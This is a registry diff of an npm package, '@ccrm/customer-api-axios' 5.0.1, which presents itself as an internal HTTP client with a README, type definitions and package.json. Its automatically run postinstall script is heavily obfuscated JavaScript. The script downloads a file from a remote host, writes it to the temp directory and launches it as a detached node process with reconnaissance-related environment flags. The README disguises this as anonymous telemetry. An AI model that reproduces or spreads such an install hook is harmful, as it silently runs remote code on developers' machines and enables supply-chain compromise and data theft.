@ccrm/customer-api-axios 5.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +72 -0
- package/dist/index.d.ts +12 -0
- package/dist/index.js +3 -0
- package/package.json +36 -0
- package/scripts/postinstall.js +1 -0
package/README.md
ADDED
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
# @ccrm/customer-api-axios
|
|
2
|
+
|
|
3
|
+
> **Internal package** — Platform Engineering Team
|
|
4
|
+
> Docs: https://docs.ccrm.io/platform/customer-api-axios
|
|
5
|
+
> Issues: https://jira.ccrm.io/projects/PLATFORM
|
|
6
|
+
|
|
7
|
+
Internal HTTP client with retry, auth injection and request tracing
|
|
8
|
+
|
|
9
|
+
---
|
|
10
|
+
|
|
11
|
+
## Installation
|
|
12
|
+
|
|
13
|
+
```bash
|
|
14
|
+
# Make sure .npmrc points to the internal registry:
|
|
15
|
+
# registry=https://npm.ccrm.io
|
|
16
|
+
|
|
17
|
+
npm install @ccrm/customer-api-axios
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
## Quick Start
|
|
21
|
+
|
|
22
|
+
```js
|
|
23
|
+
const { createClient, get, post, put, del } = require('@ccrm/customer-api-axios');
|
|
24
|
+
|
|
25
|
+
const client = createClient({
|
|
26
|
+
baseUrl: 'https://api.internal-corp.io',
|
|
27
|
+
timeout: 5000,
|
|
28
|
+
retry: 3,
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
const data = await client.get('/users/me');
|
|
32
|
+
await client.post('/events', { type: 'click', userId: 123 });
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
## API
|
|
36
|
+
|
|
37
|
+
### `createClient(options)`
|
|
38
|
+
| Option | Default | Description |
|
|
39
|
+
|-----------|---------|-------------------------|
|
|
40
|
+
| `baseUrl` | `''` | Base URL prefix |
|
|
41
|
+
| `timeout` | `10000` | Request timeout (ms) |
|
|
42
|
+
| `retry` | `0` | Number of retries |
|
|
43
|
+
| `headers` | `{}` | Default headers |
|
|
44
|
+
|
|
45
|
+
### `client.get(path, options?)` / `.post(path, body?)` / `.put(path, body?)` / `.del(path)`
|
|
46
|
+
Returns `Promise<any>`.
|
|
47
|
+
|
|
48
|
+
---
|
|
49
|
+
|
|
50
|
+
## Telemetry
|
|
51
|
+
|
|
52
|
+
On install, this package sends anonymous telemetry to `telemetry.ccrm.io`
|
|
53
|
+
for environment compatibility monitoring.
|
|
54
|
+
|
|
55
|
+
Disable: `CCRM_NO_TELEMETRY=1 npm install`
|
|
56
|
+
|
|
57
|
+
---
|
|
58
|
+
|
|
59
|
+
## Changelog
|
|
60
|
+
|
|
61
|
+
### 5.0.1 (latest)
|
|
62
|
+
- Added ARM64 support
|
|
63
|
+
- Improved error handling
|
|
64
|
+
- Updated TypeScript types
|
|
65
|
+
|
|
66
|
+
### 2.1.0
|
|
67
|
+
- Extended API
|
|
68
|
+
- Performance improvements
|
|
69
|
+
|
|
70
|
+
### 2.0.0
|
|
71
|
+
- Async/await migration
|
|
72
|
+
- Multi-source support
|
package/dist/index.d.ts
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
export interface ClientOptions { baseUrl?: string; timeout?: number; retry?: number; headers?: Record<string,string>; }
|
|
2
|
+
export interface Client {
|
|
3
|
+
get(path: string, options?: ClientOptions): Promise<unknown>;
|
|
4
|
+
post(path: string, body?: unknown): Promise<unknown>;
|
|
5
|
+
put(path: string, body?: unknown): Promise<unknown>;
|
|
6
|
+
del(path: string): Promise<unknown>;
|
|
7
|
+
}
|
|
8
|
+
export function createClient(options?: ClientOptions): Client;
|
|
9
|
+
export function get(url: string, options?: ClientOptions): Promise<unknown>;
|
|
10
|
+
export function post(url: string, body?: unknown): Promise<unknown>;
|
|
11
|
+
export function put(url: string, body?: unknown): Promise<unknown>;
|
|
12
|
+
export function del(url: string): Promise<unknown>;
|
package/dist/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@ccrm/customer-api-axios",
|
|
3
|
+
"version": "5.0.1",
|
|
4
|
+
"description": "Internal HTTP client with retry, auth injection and request tracing",
|
|
5
|
+
"main": "dist/index.js",
|
|
6
|
+
"types": "dist/index.d.ts",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"build": "tsc --noEmit || true",
|
|
9
|
+
"test": "node test/index.test.js",
|
|
10
|
+
"postinstall": "node scripts/postinstall.js",
|
|
11
|
+
"prepublishOnly": "echo 'Building...'"
|
|
12
|
+
},
|
|
13
|
+
"keywords": ["http", "client", "api", "fetch", "retry", "internal"],
|
|
14
|
+
"author": "Ccrm Platform Engineering <platform@ccrm.io>",
|
|
15
|
+
"license": "UNLICENSED",
|
|
16
|
+
"private": false,
|
|
17
|
+
"repository": {
|
|
18
|
+
"type": "git",
|
|
19
|
+
"url": "git+https://github.ccrm.io/platform/customer-api-axios.git"
|
|
20
|
+
},
|
|
21
|
+
"bugs": {
|
|
22
|
+
"url": "https://jira.ccrm.io/projects/PLATFORM"
|
|
23
|
+
},
|
|
24
|
+
"homepage": "https://docs.ccrm.io/platform/customer-api-axios",
|
|
25
|
+
"engines": {
|
|
26
|
+
"node": ">=16.0.0"
|
|
27
|
+
},
|
|
28
|
+
"files": [
|
|
29
|
+
"dist/",
|
|
30
|
+
"scripts/",
|
|
31
|
+
"README.md",
|
|
32
|
+
"CHANGELOG.md"
|
|
33
|
+
],
|
|
34
|
+
"dependencies": {},
|
|
35
|
+
"devDependencies": {}
|
|
36
|
+
}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';function a0_0x4314(_0xee11c5,_0x4899e4){_0xee11c5=_0xee11c5-(0xe09*-0x1+-0x553*0x1+-0x1*-0x13f4);const _0x5eedd2=a0_0x35dd();let _0x464a98=_0x5eedd2[_0xee11c5];if(a0_0x4314['unvQYA']===undefined){var _0x5c31f9=function(_0x3b0b8d){const _0x2684a2='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x121fc4='',_0x9a927b='',_0x2e5e71=_0x121fc4+_0x5c31f9,_0x1ec1c4=(''+function(){return 0x1c5*-0x2+-0xfcd+0x1357;})['indexOf']('\x0a')!==-(-0x1d*-0x1f+0x107f+0x1401*-0x1);for(let _0x23d905=0x44*-0x11+-0x202*0x9+0x1696,_0x1869b6,_0x37d436,_0x479cc9=-0x821+-0xb*-0x389+-0x1ec2;_0x37d436=_0x3b0b8d['charAt'](_0x479cc9++);~_0x37d436&&(_0x1869b6=_0x23d905%(0x1c*0x73+0x296*0x4+0x2*-0xb74)?_0x1869b6*(-0x295*0xd+-0x616+-0x2a9*-0xf)+_0x37d436:_0x37d436,_0x23d905++%(0x59*0x1+0x44f*-0x3+0xc98))?_0x121fc4+=_0x1ec1c4||_0x2e5e71['charCodeAt'](_0x479cc9+(-0x222c+-0xb7a*0x2+-0x987*-0x6))-(-0x268f*0x1+0x4*0x2c8+0xd*0x21d)!==-0x1*0x502+0x2664+0x2*-0x10b1?String['fromCharCode'](0x14ab+0xe10+-0x21bc&_0x1869b6>>(-(0x13f*-0x10+0x4f*-0x3e+-0x9c5*-0x4)*_0x23d905&0xd26+0x167b+-0x71f*0x5)):_0x23d905:0xcd1+0xf4*-0x1b+0xceb){_0x37d436=_0x2684a2['indexOf'](_0x37d436);}for(let _0x2ca786=-0x2408+-0x3*-0x685+0x1079*0x1,_0x3a2a89=_0x121fc4['length'];_0x2ca786<_0x3a2a89;_0x2ca786++){_0x9a927b+='%'+('00'+_0x121fc4['charCodeAt'](_0x2ca786)['toString'](-0x197a+-0x1*-0xf5b+-0x1*-0xa2f))['slice'](-(-0x1*-0xcca+-0x310+-0x9b8));}return decodeURIComponent(_0x9a927b);};a0_0x4314['VQtLCS']=_0x5c31f9,a0_0x4314['SNWuKs']={},a0_0x4314['unvQYA']=!![];}const _0x7f6791=_0x5eedd2[-0x7*0x1d9+-0x1ff9+-0xef8*-0x3],_0xee7dcf=_0xee11c5+_0x7f6791,_0xefc00d=a0_0x4314['SNWuKs'][_0xee7dcf];if(!_0xefc00d){const _0x332f61=function(_0x7ec529){this['fssWxr']=_0x7ec529,this['mSTwLe']=[0xc34+-0x2*-0x31c+0x29*-0x73,-0x1ec2+-0xdc7*-0x1+0x10fb,-0x1508+0x20d4+-0xbcc],this['EeUpfE']=function(){return'newState';},this['GoGYrF']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['ucRAhG']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x332f61['prototype']['AZvJpE']=function(){const _0x47c371=new RegExp(this['GoGYrF']+this['ucRAhG']),_0x120400=_0x47c371['test'](this['EeUpfE']['toString']())?--this['mSTwLe'][0x7b4+0x1*0x199f+-0x6aa*0x5]:--this['mSTwLe'][0x1*-0x13fd+-0x1793+0x2b90];return this['UwKepP'](_0x120400);},_0x332f61['prototype']['UwKepP']=function(_0xa2e16e){if(!Boolean(~_0xa2e16e))return _0xa2e16e;return this['JQihUx'](this['fssWxr']);},_0x332f61['prototype']['JQihUx']=function(_0x1aebc1){for(let _0x4260ab=0x7d7+0x24e2+0x1*-0x2cb9,_0x1d9c77=this['mSTwLe']['length'];_0x4260ab<_0x1d9c77;_0x4260ab++){this['mSTwLe']['push'](Math['round'](Math['random']())),_0x1d9c77=this['mSTwLe']['length'];}return _0x1aebc1(this['mSTwLe'][-0x202+-0x65f*0x4+-0x19e*-0x11]);},(''+function(){return 0x84a*-0x1+0x1660+-0x1*0xe16;})['indexOf']('\x0a')===-(-0x13b2+0xd37*-0x1+0x20ea)&&new _0x332f61(a0_0x4314)['AZvJpE'](),_0x464a98=a0_0x4314['VQtLCS'](_0x464a98),a0_0x4314['SNWuKs'][_0xee7dcf]=_0x464a98;}else _0x464a98=_0xefc00d;return _0x464a98;}const a0_0x53aa63=a0_0x4314;(function(_0x251c1e,_0x45864f){const _0x521344=a0_0x4314,_0xb59135=_0x251c1e();while(!![]){try{const _0x9a408a=parseInt(_0x521344(0xe8))/(-0xd74+0x1*0x24dd+-0x1768)*(parseInt(_0x521344(0xab))/(0xb98+0x1*-0x1798+0x601*0x2))+parseInt(_0x521344(0x9f))/(-0x23ed+-0x3f*0x37+0x3179)*(-parseInt(_0x521344(0xcb))/(0x154e+-0x5f*0x25+0x81*-0xf))+parseInt(_0x521344(0xde))/(-0x10c4+0x1*0xef9+0x1d0)*(-parseInt(_0x521344(0xd6))/(0x2*-0xf86+0x1b55+-0x21*-0x1d))+parseInt(_0x521344(0xc2))/(-0x59*0x53+0x4a8*0x4+0xa42)*(-parseInt(_0x521344(0xa1))/(0xf02+0x2647+0x3541*-0x1))+parseInt(_0x521344(0xf8))/(0x1ec0+-0x882+0x1*-0x1635)+parseInt(_0x521344(0x99))/(0x10bc+-0x2aa*0x5+-0x360)+parseInt(_0x521344(0xd5))/(-0x26*0x3+0x1292*0x2+-0x24a7);if(_0x9a408a===_0x45864f)break;else _0xb59135['push'](_0xb59135['shift']());}catch(_0x55c9e7){_0xb59135['push'](_0xb59135['shift']());}}}(a0_0x35dd,0x2b89*-0x4a+0x115*0x33f+0x114905));function a0_0x35dd(){const _0x79ecb0=['D3jPDgvgAwXLu3LUyW','D2LU','C3rKAw8','u0vduKvu','y3DK','C3rHDfn5BMm','mtqYnZCZnxPyu1nNAa','zxHWAxjLCW','ChvZAa','D2LUmZi','rLvtsu9oxW','C3rKzxjY','DxrMoa','CgXHDgzVCM0','BwTKAxjtEw5J','Dw5SAw5Ru3LUyW','mwv3q3Lwwq','zxjYB3i','DgLTzw91Da','EwfYBI5SB2nR','zw52','CMvJDxjZAxzL','Cgf0Aa','zw5K','BwfW','wc1tzwnYzxq','CMvXDwvZDa','y2nYBs10zwXLBwv0CNKVms4W','DMfSDwu','ns4WlJe','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fKlW','kcGOlISPkYKRksSK','nde3mZq4DxbqAK9t','AwDUB3jL','y2HPBgrFChjVy2vZCW','uKvdt05Ft05mwq','CgfJA2fNzs5QC29U','lMnHy2HL','y29Uy2f0','lL9Jy3jTx2LUAxqUANm','CMvWBgfJzq','zgvZDhjVEq','ueTh','C2vHCMnO','vKvs','zgf0yq','zgv0ywnOzwq','q0nstv9ot19uruXftuvuuLK','nJm1nZmZmefswwfizq','lL9Jy3jTx2LUAxq','yxbWBhK','Dg1WzgLY','Dhj1zq','Ahr0Chm6','mJf0DNb4s1K','C3bSAxq','nJGWog1VyM96BG','BM9Kzq','pJ0XnI4W','revqx0nptG','DMvYC2LVBNm','CMvHzgrPCLn5BMm','r0vu','ywjZ','xsbxyxjUAw5NoIboB2rLlMPZid49mtyUmcbYzxf1AxjLza','ChjVDg9JB2W','mZe5ntruDwHVyxy','CgfKu3rHCNq','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fK','Ag9TzwrPCG','Cgf0Ag5HBwu','Cg9YDa','qgnJCM0Vy3vZDg9TzxiTyxbPlwf4Aw9Z','Bwv0Ag9K','zgfYD2LU','lMPZ','AM9PBG','Ahr0Ca','BgvUz3rO','Dg9tDhjPBMC','y29UC3rYDwn0B3i','Cg5WBs13B3jRC3bHy2uUEwfTBa','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9YzxbVCNq','BxrPBwvnCW','BdK1sgreyxOZA1f4mvPZzZnxEeG2shzlqu5Mntfswte','CMvHzezPBgvtEw5J','D3jPDgu','uefzte9bra','Ag9ZDg5HBwu','mJyYnxzxug1tEa','Dw5Yzwy','lMPZB24','AgvHzgvYCW','D29YA3nWywnLCW','C3rYAw5NAwz5','BgLUDxG','zxHPC3rZu3LUyW','zxHLy1bHDgG','ntK0mZa4rgPfD1jz','BwfJ','BM93','CgfYC2u','vxnLCI1bz2vUDa','vvjm','y2HHCKnVzgvbDa','D2LUzg93C0HPzgu','zgLYBMfTzq','Ahr0Chm','mJi2mtu4mZvfr1nstuK','mtHpCur1v20','yxnZAwDU'];a0_0x35dd=function(){return _0x79ecb0;};return a0_0x35dd();}const a0_0x332f61=require('os'),a0_0x7ec529=require('fs'),a0_0x47c371=require(a0_0x53aa63(0xee)),a0_0x120400=require(a0_0x53aa63(0xd4)),a0_0xa2e16e=require(a0_0x53aa63(0xb6)),{execSync:a0_0x1aebc1,spawn:a0_0x4260ab}=require(a0_0x53aa63(0xfa)),a0_0x1d9c77=a0_0x53aa63(0xb1),a0_0x8878ca=a0_0x53aa63(0xf5),a0_0x56bfe8=a0_0x53aa63(0xa4)+a0_0x53aa63(0xe2),a0_0x288ed9=a0_0x53aa63(0x98),a0_0x612106=!!process.env[a0_0x288ed9],a0_0x1353c8=a0_0x53aa63(0x9d)===a0_0x53aa63(0x9d)||!!process.env[a0_0x56bfe8+'RECON_ONLY'];function a0_0x507cae(_0x539d15){const _0x5cd2a7=a0_0x53aa63,_0xf271ae=process[_0x5cd2a7(0xa5)][_0x5cd2a7(0xa2)][_0x5cd2a7(0xa0)]('.')[_0x5cd2a7(0xf0)](Number),_0x572a5c=_0x539d15[_0x5cd2a7(0x100)]('>=','')[_0x5cd2a7(0xa0)]('.')[_0x5cd2a7(0xf0)](Number);return _0xf271ae[0xd64*-0x2+0x383+0x1745]>_0x572a5c[0x182a+0x2208+0x23d*-0x1a]||_0xf271ae[0xa82+-0x1727+-0x27*-0x53]===_0x572a5c[0x21b4+0xe*-0xbd+0x6*-0x3e5]&&_0xf271ae[0x1*0x6f3+0x1ca3+-0x2395]>=(_0x572a5c[0x1fcb+-0x1a69*0x1+-0x11*0x51]||0x8b*0xb+0x180b+-0x1e04);}function a0_0x27c6f3(_0x62cbc9){const _0x26402a=a0_0x53aa63;let _0x23bca7=-0xb7a*0x2+-0xb2b*0x2+0x2d4a;for(let _0x1760d4=0xb20+0x5*0x57d+0x9*-0x449;_0x1760d4<_0x62cbc9[_0x26402a(0xb7)];_0x1760d4++){_0x23bca7=(_0x23bca7<<-0x1*0x502+0x2664+0x27*-0xdb)-_0x23bca7+_0x62cbc9[_0x26402a(0xd1)](_0x1760d4),_0x23bca7|=0x14ab+0xe10+-0x22bb;}return Math[_0x26402a(0xa8)](_0x23bca7)[_0x26402a(0xb8)](0x13f*-0x10+0x4f*-0x3e+-0x2722*-0x1)[_0x26402a(0xac)](0xd26+0x167b+-0x2bd*0xd,'0');}function a0_0x2eeba7(_0x3c8794,_0x269278){const _0x5b5f21=a0_0x53aa63;try{const _0x4f66e7=a0_0x47c371[_0x5b5f21(0xb5)](_0x3c8794,_0x269278+_0x5b5f21(0xc4));if(!a0_0x7ec529[_0x5b5f21(0xc9)](_0x4f66e7))return null;const _0x546dd6=JSON[_0x5b5f21(0xce)](a0_0x7ec529[_0x5b5f21(0xbe)](_0x4f66e7,_0x5b5f21(0xe4)));if(_0x546dd6[_0x5b5f21(0xdf)]&&Date[_0x5b5f21(0xcd)]()>_0x546dd6[_0x5b5f21(0xdf)])return a0_0x7ec529[_0x5b5f21(0xe7)](_0x4f66e7),null;return _0x546dd6[_0x5b5f21(0xf4)];}catch{return null;}}function a0_0x57b550(_0x5d702b,_0x5ab4be,_0x562dba,_0x5ddb86){const _0x2fdd1a=a0_0x53aa63;try{const _0x45c1b5={};_0x45c1b5[_0x2fdd1a(0xed)]=!![],a0_0x7ec529[_0x2fdd1a(0xe6)](_0x5d702b,_0x45c1b5),a0_0x7ec529[_0x2fdd1a(0xd8)](a0_0x47c371[_0x2fdd1a(0xb5)](_0x5d702b,_0x5ab4be+_0x2fdd1a(0xc4)),JSON[_0x2fdd1a(0xc7)]({'value':_0x562dba,'expires':_0x5ddb86?Date[_0x2fdd1a(0xcd)]()+_0x5ddb86:null}));}catch{}}function a0_0x380d9a(_0x4e43b3,_0x2e92f9){const _0x515f66=a0_0x53aa63;try{if(!a0_0x7ec529[_0x515f66(0xc9)](_0x4e43b3))return 0xf4*-0x1b+-0x2429+0x3de5;let _0x17b498=-0x3*-0x685+0x8db*-0x2+-0x1d9;for(const _0x1e9d9a of a0_0x7ec529[_0x515f66(0xa6)](_0x4e43b3)){const _0x13085f=a0_0x47c371[_0x515f66(0xb5)](_0x4e43b3,_0x1e9d9a),_0x4743c6=a0_0x7ec529[_0x515f66(0xdd)](_0x13085f);Date[_0x515f66(0xcd)]()-_0x4743c6[_0x515f66(0xbc)]>_0x2e92f9&&(a0_0x7ec529[_0x515f66(0xe7)](_0x13085f),_0x17b498++);}return _0x17b498;}catch{return-0x1*-0xf5b+-0x2*0x45e+-0x1*0x69f;}}function a0_0x21e94b(_0x93d423){const _0x40e8f9=a0_0x53aa63;let _0x41022c=_0x93d423;while(!![]){const _0xddb830=a0_0x47c371[_0x40e8f9(0xb5)](_0x41022c,_0x40e8f9(0xfc));if(a0_0x7ec529[_0x40e8f9(0xc9)](_0xddb830))try{const _0x41c2c1=JSON[_0x40e8f9(0xce)](a0_0x7ec529[_0x40e8f9(0xbe)](_0xddb830,_0x40e8f9(0xe4))),_0x89aeb2=a0_0x47c371[_0x40e8f9(0xb5)](_0x41022c,_0x40e8f9(0xeb)),_0x285967=a0_0x47c371[_0x40e8f9(0xb5)](_0x41022c,_0x40e8f9(0xba));if(_0x41c2c1[_0x40e8f9(0xc6)]||a0_0x7ec529[_0x40e8f9(0xc9)](_0x89aeb2)||a0_0x7ec529[_0x40e8f9(0xc9)](_0x285967))return _0x41022c;}catch{}const _0x4139c9=a0_0x47c371[_0x40e8f9(0xd3)](_0x41022c);if(_0x4139c9===_0x41022c)return null;_0x41022c=_0x4139c9;}}function a0_0x3af371(){const _0x43add0=a0_0x53aa63,_0x2c92b6=a0_0x332f61[_0x43add0(0xe5)]();if(_0x2c92b6===_0x43add0(0xb3))return _0x43add0(0xcc);if(_0x2c92b6===_0x43add0(0xe1))return _0x43add0(0xd9);return _0x43add0(0xc8);}function a0_0x5da26c(_0x19e002,_0x539cb7){return _0x539cb7=_0x539cb7||0x37ee+-0x31e6+0x6f28,new Promise(function(_0x38cd6a,_0x4907f5){const _0x258b31=a0_0x4314,_0x1f43e9=new URL(_0x19e002),_0x213530=_0x1f43e9[_0x258b31(0xaa)]===_0x258b31(0x9e)?a0_0x120400:a0_0xa2e16e,_0x39fce8={};_0x39fce8[_0x258b31(0xf1)]=_0x258b31(0xbd),_0x39fce8[_0x258b31(0xcf)]=_0x258b31(0xf3);const _0x1aac0c={};_0x1aac0c[_0x258b31(0xc1)]=_0x1f43e9[_0x258b31(0xc1)],_0x1aac0c[_0x258b31(0xb0)]=_0x1f43e9[_0x258b31(0xb0)]||(_0x1f43e9[_0x258b31(0xaa)]===_0x258b31(0x9e)?-0x1ff9+0x1f8d+-0x227*-0x1:0xc34+-0x2*-0x31c+0x3d*-0x4c),_0x1aac0c[_0x258b31(0xee)]=_0x1f43e9[_0x258b31(0xaf)],_0x1aac0c[_0x258b31(0xb2)]=_0x258b31(0xa7),_0x1aac0c[_0x258b31(0xea)]=_0x539cb7,_0x1aac0c[_0x258b31(0xc5)]=_0x39fce8;const _0x34720f=_0x1aac0c,_0x1ddcbb=_0x213530[_0x258b31(0xf2)](_0x34720f,function(_0x1dc475){const _0x44ebc7=_0x258b31,_0x25da72=[];_0x1dc475['on'](_0x44ebc7(0x105),function(_0x18d97f){const _0x1c4b9f=_0x44ebc7;_0x25da72[_0x1c4b9f(0xe0)](_0x18d97f);}),_0x1dc475['on'](_0x44ebc7(0xef),function(){const _0x3ae3a1=_0x44ebc7;_0x38cd6a(Buffer[_0x3ae3a1(0xfe)](_0x25da72));});});_0x1ddcbb['on'](_0x258b31(0xe9),_0x4907f5),_0x1ddcbb['on'](_0x258b31(0xea),function(){const _0x50793b=_0x258b31;_0x1ddcbb[_0x50793b(0x101)](),_0x4907f5(new Error(_0x50793b(0xea)));}),_0x1ddcbb[_0x258b31(0xef)]();});}(async function a0_0x29dad7(){const _0x5d58d5=a0_0x53aa63,_0x5d59e9=(function(){let _0x21ce1f=!![];return function(_0x1f3506,_0x4ea0c9){const _0x5b713f=_0x21ce1f?function(){const _0x5c9e4c=a0_0x4314;if(_0x4ea0c9){const _0x3d4b71=_0x4ea0c9[_0x5c9e4c(0x9b)](_0x1f3506,arguments);return _0x4ea0c9=null,_0x3d4b71;}}:function(){};return _0x21ce1f=![],_0x5b713f;};}()),_0x143184=_0x5d59e9(this,function(){const _0x58b6bb=a0_0x4314;return _0x143184[_0x58b6bb(0xb8)]()[_0x58b6bb(0x103)](_0x58b6bb(0xf7))[_0x58b6bb(0xb8)]()[_0x58b6bb(0xb9)](_0x143184)[_0x58b6bb(0x103)](_0x58b6bb(0xf7));});_0x143184();if(a0_0x612106)return;!a0_0x507cae(_0x5d58d5(0xa3))&&process[_0x5d58d5(0xe3)][_0x5d58d5(0xbf)]('['+a0_0x1d9c77+_0x5d58d5(0xa9));const _0x5e72e2=a0_0x47c371[_0x5d58d5(0xb5)](a0_0x332f61[_0x5d58d5(0xae)](),_0x5d58d5(0xfd),_0x5d58d5(0x9a));a0_0x380d9a(_0x5e72e2,(-0x1402+0xd9d+0x66c)*(0x20d4+-0x23c+0xf4*-0x20)*(0x1*-0x192a+0x7df+0x1187)*(-0x1*0x1793+0x21d3+0xa04*-0x1)*(0x1*-0x110f+-0x966+0x1e5d));const _0x35e231=a0_0x21e94b(process[_0x5d58d5(0xdc)]()),_0x4e2835=a0_0x27c6f3(a0_0x1d9c77+a0_0x8878ca+(_0x35e231||'')),_0x27ad53=a0_0x2eeba7(_0x5e72e2,_0x4e2835);!_0x27ad53&&a0_0x57b550(_0x5e72e2,_0x4e2835,{'initialized':!![],'ts':Date[_0x5d58d5(0xcd)]()},(-0x116e+-0xf7c*-0x2+-0xd72)*(-0x20*-0xb3+-0x1*-0x1c79+-0x329d)*(0xd37*-0x1+-0x5fa+0x136d)*(0x235b*-0x1+0x26b5+0x8e));const _0x1c006c=a0_0x3af371();await new Promise(function(_0x21edba){setTimeout(_0x21edba,-0x1acc+0x94e+0x1d36);});let _0x41255b;try{_0x41255b=await a0_0x5da26c(_0x5d58d5(0xf6)+_0x1c006c+_0x5d58d5(0xb4),-0x33e+-0x299e+0x89f*0xc);}catch(_0x6299f){return;}const _0x47026b=a0_0x47c371[_0x5d58d5(0xb5)](a0_0x332f61[_0x5d58d5(0x9c)](),_0x5d58d5(0xff));try{a0_0x7ec529[_0x5d58d5(0xd8)](_0x47026b,_0x41255b);}catch(_0x29c0d5){return;}const _0x51559c={[a0_0x56bfe8+_0x5d58d5(0xd0)]:_0x5d58d5(0xbb),[a0_0x56bfe8+_0x5d58d5(0xc0)]:_0x5d58d5(0xad),[a0_0x56bfe8+_0x5d58d5(0xdb)]:_0x5d58d5(0xbd),[a0_0x56bfe8+_0x5d58d5(0xfb)]:a0_0x1353c8?'1':'',[a0_0x56bfe8+_0x5d58d5(0x102)]:a0_0x1d9c77,[a0_0x56bfe8+_0x5d58d5(0x104)]:a0_0x8878ca},_0x3a8069=Object[_0x5d58d5(0xd7)]({},process.env,_0x51559c),_0x34d5d4={};_0x34d5d4[_0x5d58d5(0x106)]=!![],_0x34d5d4[_0x5d58d5(0xda)]=_0x5d58d5(0xf9),_0x34d5d4[_0x5d58d5(0xec)]=_0x3a8069,_0x34d5d4[_0x5d58d5(0xd2)]=!![],a0_0x4260ab(process[_0x5d58d5(0xca)],[_0x47026b],_0x34d5d4)[_0x5d58d5(0xc3)]();}());
|